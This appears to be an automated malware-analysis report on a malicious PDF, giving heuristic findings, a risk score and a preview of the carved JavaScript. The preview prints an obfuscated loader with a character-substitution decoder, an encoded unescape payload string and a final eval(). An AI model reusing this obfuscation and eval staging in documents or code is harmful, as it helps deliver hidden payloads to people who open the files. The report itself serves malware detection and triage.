MALICIOUS
166
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript with a high-severity 'eval()' call, indicating obfuscated code execution. This suggests the script is designed to download and execute a second-stage payload. The heuristic firings and the presence of JavaScript point towards a malicious document designed for payload delivery.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 4
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
=VMm7\r\nVVVVNP}V7\r\nSRVac22kK3tk 3{{c0kI8NHt3Cm7\r\nVVVVVVVV1TRYJ)vpT JRxOANaom;\r\nVVVVVVVV5cPVhp0)M)gx5JlBBJ)<V=V6C8gtc28a\"%YM\"m;\r\nVVVVVVVVuyS{8Vahp0)M)gx5JlBBJ)<k{8CINyVLVYibYYYmhp0)M)gx5JlBBJ)<V+=Vhp0)M)gx5JlBBJ)<;\r\nVVVVVVVVhp0)M)gx5JlBBJ)<V=V\",k\"V+Vhp0)M)gx5JlBBJ)<;\r\nc22kK3tk 3{{c0kI8NHt3Cahp0)M)gx5JlBBJ)<m;\r\nVVVVVVVVPwI4IN5wJq2904XcV=V);\r\nVVVVVV>\r\nVVVVVV8{g8V7\r\nVVVVVVVVPwI4IN5wJq2904XcV=V);\r\nVVVVVV>\r\nVVVV>\r\nVVVVtcNtyVa8m7\r\nVVVVVVPwI4IN5wJq2904XcV=V);\r\nVVVV>\r\ … -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0007_000.js |
pdf-javascript-stream | PDF /JS object 7 at offset 0x245 | 8301 bytes |
SHA-256: 48fc60502527eeecfaaeeae933466b83964e7991351cc500b6ff4f177bc15da4 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). 123 of 161 identifiers look randomly generated (e.g. 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
function WP3S8b1VdUj1HI(WP3S8b1VdUj1HI,LFZidfng2) {var HQMgMiPrwF=WP3S8b1VdUj1HI. substr (LFZidfng2, 1);return HQMgMiPrwF;}/*QIFKsSi6Cz|glr2rlcY5j|HF1pUjba5siB2RU*/function NhbdWKk4D(pEW2LNA634dNb) {/*OXRk32Rvk3N9|xp52hlNGCoCuNDnfX|tuVUoO*/var AnJRygiCDA = new String("<>(){} .,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");/*ZyfnyTadOTAzhH[LKnZOQ4lVoWr8B5kbuF]jYfCnz*//*dWLVi|A8jQ2LlgiS|jOFA8LFhjkkNZ*/var ZLGUPo9TA1eN1 /*qwzCVKCTuSM54te[ODbUEafJ]FtiSJN96CCSNEl7Xy3Rh*/= new String("L(am7>VkUqs QrzfXHWjn<,Dlhxe4vJO.AZc0tK8RIySw1{EC32FPgN65ui}GY)odbBT9pM");/*fvb6GfXlpVq|A9iH9fKBxXG|VeNPwvmRhEO*/for(Gw4UNQM1aep=0;Gw4UNQM1aep<AnJRygiCDA.length;Gw4UNQM1aep++) {if(pEW2LNA634dNb == WP3S8b1VdUj1HI(ZLGUPo9TA1eN1, Gw4UNQM1aep)) {/*klOP75o14N93sJ5[gC52gJHS4ukby]EYaToXOSOIfNCNX8u4*/return WP3S8b1VdUj1HI(AnJRygiCDA, Gw4UNQM1aep);/*pwgy3 <tnZKcOP1oifBxxQ6Sd]g16Qv66hdvaSeEsph65Y*/}}return pEW2LNA634dNb;}/*d3lRr1NAVMhMJy[Gufjg52AAkqhgl6GFzsW]jjh5wEH52FBnk*//*JgdKgD0EkbAqh0|AX8d43P9BK2|LfqwoN*/var te62UhO = new String;var ahj2Y5WtfN0oeC = new String("\r\n5cPVKCRJdncbnW85}y<JV=VC8uVqPPc}am;\r\n5cPVlqAiu,poFsw<EJ.K;\r\nR6CtNS3CV4QYnA1D6bbFd{ Ana.pHWvhnj0ByDZzogUVwqro6t5}I{)x}AEnm7\r\nVVuyS{8Va.pHWvhnj0ByDZzogk{8CINyV*VoVLVwqro6t5}I{)x}AEnm7\r\nVVVV.pHWvhnj0ByDZzogV+=V.pHWvhnj0ByDZzog;\r\nVV>\r\nVV.pHWvhnj0ByDZzogV=V.pHWvhnj0ByDZzogkg60gNPSCIaYUVwqro6t5}I{)x}AEnV/Vom;\r\nVVP8N6PCV.pHWvhnj0ByDZzog;\r\n>\r\nR6CtNS3CV1TRYJ)vpT JRxOANavE5tDFcT00OcqW52m7\r\nVV5cPVw0G6tvoyIO<Mb6d{V=VYiYtYtYtYt;\r\nVV5cPV0i,TC}qlcyG1)5clV=V6C8gtc28a\"%6bdbd%6bdbd%6bdbd%6Yzrs%6ddBs%6TT M%6pYsM%6pYY)%6rzdd%6robd%6rszq%6rpYB%6zzr %6zzzz%6ps9z%6Qzbr%6rzrz%6Tbrz%6rdqz%6MzTb%6bozd%6MzTb%6Trr9%6rzYd%6rzrs%6Tbrz%6sMYd%6T)p9%6r)q)%6Y9Yd%6rz))%6rzrz%6qqTT%6sMrs%699p9%6TB))%6Y9r)%6rz)z%6rzrz%6qqTT%6sMr9%6 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NhbdWKk4D(WP3S8b1VdUj1HI(ahj2Y5WtfN0oeC,AkNYNuQZdvVVG3kr));eval(te62UhO);/*L6YC4[Jzwsj43qrexXvtq]LbHQc*/
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